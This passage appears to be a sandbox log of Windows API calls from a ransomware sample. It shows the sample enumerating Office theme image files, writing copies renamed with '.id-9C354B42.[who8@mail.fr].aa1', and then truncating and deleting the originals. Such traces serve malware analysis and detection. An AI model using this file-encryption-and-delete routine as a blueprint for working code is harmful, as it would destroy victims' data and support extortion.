lstrlenW (lpString=".doc") returned 4 [0221.738] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0221.738] lstrlenW (lpString=".docx") returned 5 [0221.738] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0221.738] lstrlenW (lpString=".pdf") returned 4 [0221.738] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0221.738] lstrlenW (lpString=".xls") returned 4 [0221.738] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0221.738] lstrlenW (lpString=".xlsx") returned 5 [0221.738] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0221.738] lstrlenW (lpString=".ppt") returned 4 [0221.738] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0221.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0221.738] lstrlenW (lpString=".zip") returned 4 [0221.738] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0221.738] lstrlenW (lpString=".rar") returned 4 [0221.738] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0221.738] lstrlenW (lpString=".bz2") returned 4 [0221.739] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0221.739] lstrlenW (lpString=".7z") returned 3 [0221.739] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0221.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0221.739] lstrlenW (lpString=".dbf") returned 4 [0221.739] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0221.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0221.739] lstrlenW (lpString=".1cd") returned 4 [0221.739] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0221.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0221.739] lstrlenW (lpString=".jpg") returned 4 [0221.739] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0221.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0221.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0221.739] lstrlenW (lpString=".doc") returned 4 [0221.739] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0221.739] lstrlenW (lpString=".docx") returned 5 [0221.739] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0221.739] lstrlenW (lpString=".pdf") returned 4 [0221.739] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0221.739] lstrlenW (lpString=".xls") returned 4 [0221.739] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0221.739] lstrlenW (lpString=".xlsx") returned 5 [0221.739] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0221.739] lstrlenW (lpString=".ppt") returned 4 [0221.739] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0221.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0221.739] lstrlenW (lpString=".zip") returned 4 [0221.739] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0221.739] lstrlenW (lpString=".rar") returned 4 [0221.739] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0221.739] lstrlenW (lpString=".bz2") returned 4 [0221.739] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0221.739] lstrlenW (lpString=".7z") returned 3 [0221.740] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0221.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0221.740] lstrlenW (lpString=".dbf") returned 4 [0221.740] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0221.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0221.740] lstrlenW (lpString=".1cd") returned 4 [0221.740] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0221.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0221.740] lstrlenW (lpString=".jpg") returned 4 [0221.740] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0221.740] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0221.740] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0221.740] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0221.900] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=25106) returned 1 [0221.900] CloseHandle (hObject=0x214) returned 1 [0221.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 0x20 [0221.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0221.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0221.901] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.901] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0221.901] GetLastError () returned 0x0 [0221.901] ReadFile (in: hFile=0x214, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x6212, lpOverlapped=0x0) returned 1 [0221.903] WriteFile (in: hFile=0x218, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x6220, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x6220, lpOverlapped=0x0) returned 1 [0221.905] ReadFile (in: hFile=0x214, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0221.905] WriteFile (in: hFile=0x218, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.905] SetEndOfFile (hFile=0x218) returned 1 [0221.905] CloseHandle (hObject=0x218) returned 1 [0221.906] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.906] SetEndOfFile (hFile=0x214) returned 1 [0221.907] CloseHandle (hObject=0x214) returned 1 [0221.907] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0221.907] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 1 [0221.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0221.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0221.908] lstrlenW (lpString=".doc") returned 4 [0221.908] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0221.908] lstrlenW (lpString=".docx") returned 5 [0221.908] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0221.908] lstrlenW (lpString=".pdf") returned 4 [0221.908] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0221.908] lstrlenW (lpString=".xls") returned 4 [0221.908] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0221.908] lstrlenW (lpString=".xlsx") returned 5 [0221.908] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0221.908] lstrlenW (lpString=".ppt") returned 4 [0221.908] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0221.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0221.908] lstrlenW (lpString=".zip") returned 4 [0221.908] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0221.908] lstrlenW (lpString=".rar") returned 4 [0221.908] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0221.908] lstrlenW (lpString=".bz2") returned 4 [0221.908] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0221.908] lstrlenW (lpString=".7z") returned 3 [0221.908] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0221.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0221.908] lstrlenW (lpString=".dbf") returned 4 [0221.908] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0221.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0221.908] lstrlenW (lpString=".1cd") returned 4 [0221.908] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0221.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0221.909] lstrlenW (lpString=".jpg") returned 4 [0221.909] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0221.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0221.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0221.909] lstrlenW (lpString=".doc") returned 4 [0221.909] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0221.909] lstrlenW (lpString=".docx") returned 5 [0221.909] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0221.909] lstrlenW (lpString=".pdf") returned 4 [0221.909] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0221.909] lstrlenW (lpString=".xls") returned 4 [0221.909] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0221.909] lstrlenW (lpString=".xlsx") returned 5 [0221.909] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0221.909] lstrlenW (lpString=".ppt") returned 4 [0221.909] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0221.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0221.909] lstrlenW (lpString=".zip") returned 4 [0221.909] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0221.909] lstrlenW (lpString=".rar") returned 4 [0221.909] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0221.909] lstrlenW (lpString=".bz2") returned 4 [0221.909] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0221.909] lstrlenW (lpString=".7z") returned 3 [0221.909] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0221.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0221.909] lstrlenW (lpString=".dbf") returned 4 [0221.909] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0221.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0221.910] lstrlenW (lpString=".1cd") returned 4 [0221.910] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0221.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0221.910] lstrlenW (lpString=".jpg") returned 4 [0221.910] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0221.910] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0221.910] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0221.910] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0221.910] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1347) returned 1 [0221.910] CloseHandle (hObject=0x214) returned 1 [0221.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 0x20 [0221.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0221.911] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0221.911] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.911] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.911] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0221.986] GetLastError () returned 0x0 [0221.986] ReadFile (in: hFile=0x214, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x543, lpOverlapped=0x0) returned 1 [0222.098] WriteFile (in: hFile=0x218, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x550, lpOverlapped=0x0) returned 1 [0222.099] ReadFile (in: hFile=0x214, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0222.099] WriteFile (in: hFile=0x218, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xea, lpOverlapped=0x0) returned 1 [0222.100] SetEndOfFile (hFile=0x218) returned 1 [0222.100] CloseHandle (hObject=0x218) returned 1 [0222.100] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.100] SetEndOfFile (hFile=0x214) returned 1 [0222.101] CloseHandle (hObject=0x214) returned 1 [0222.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0222.101] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 1 [0222.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0222.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0222.102] lstrlenW (lpString=".doc") returned 4 [0222.102] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0222.102] lstrlenW (lpString=".docx") returned 5 [0222.102] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0222.102] lstrlenW (lpString=".pdf") returned 4 [0222.102] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0222.102] lstrlenW (lpString=".xls") returned 4 [0222.102] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0222.102] lstrlenW (lpString=".xlsx") returned 5 [0222.102] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0222.102] lstrlenW (lpString=".ppt") returned 4 [0222.102] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0222.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0222.102] lstrlenW (lpString=".zip") returned 4 [0222.102] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0222.102] lstrlenW (lpString=".rar") returned 4 [0222.102] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0222.102] lstrlenW (lpString=".bz2") returned 4 [0222.102] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0222.102] lstrlenW (lpString=".7z") returned 3 [0222.102] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0222.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0222.103] lstrlenW (lpString=".dbf") returned 4 [0222.103] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0222.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0222.103] lstrlenW (lpString=".1cd") returned 4 [0222.103] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0222.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0222.103] lstrlenW (lpString=".jpg") returned 4 [0222.103] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0222.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0222.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0222.103] lstrlenW (lpString=".doc") returned 4 [0222.103] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0222.103] lstrlenW (lpString=".docx") returned 5 [0222.103] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0222.103] lstrlenW (lpString=".pdf") returned 4 [0222.103] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0222.103] lstrlenW (lpString=".xls") returned 4 [0222.103] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0222.103] lstrlenW (lpString=".xlsx") returned 5 [0222.103] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0222.104] lstrlenW (lpString=".ppt") returned 4 [0222.104] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0222.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0222.104] lstrlenW (lpString=".zip") returned 4 [0222.104] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0222.104] lstrlenW (lpString=".rar") returned 4 [0222.104] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0222.104] lstrlenW (lpString=".bz2") returned 4 [0222.104] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0222.104] lstrlenW (lpString=".7z") returned 3 [0222.104] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0222.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0222.104] lstrlenW (lpString=".dbf") returned 4 [0222.104] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0222.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0222.104] lstrlenW (lpString=".1cd") returned 4 [0222.104] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0222.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0222.104] lstrlenW (lpString=".jpg") returned 4 [0222.104] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0222.104] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0222.104] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0222.104] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0222.109] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=60724) returned 1 [0222.109] CloseHandle (hObject=0x214) returned 1 [0222.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 0x20 [0222.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0222.109] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0222.109] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.109] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.110] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0222.250] GetLastError () returned 0x0 [0222.250] ReadFile (in: hFile=0x214, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0xed34, lpOverlapped=0x0) returned 1 [0222.253] WriteFile (in: hFile=0x224, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xed40, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xed40, lpOverlapped=0x0) returned 1 [0222.255] ReadFile (in: hFile=0x214, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0222.255] WriteFile (in: hFile=0x224, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.255] SetEndOfFile (hFile=0x224) returned 1 [0222.256] CloseHandle (hObject=0x224) returned 1 [0222.256] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.256] SetEndOfFile (hFile=0x214) returned 1 [0222.257] CloseHandle (hObject=0x214) returned 1 [0222.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0222.258] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 1 [0222.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0222.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0222.258] lstrlenW (lpString=".doc") returned 4 [0222.258] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0222.258] lstrlenW 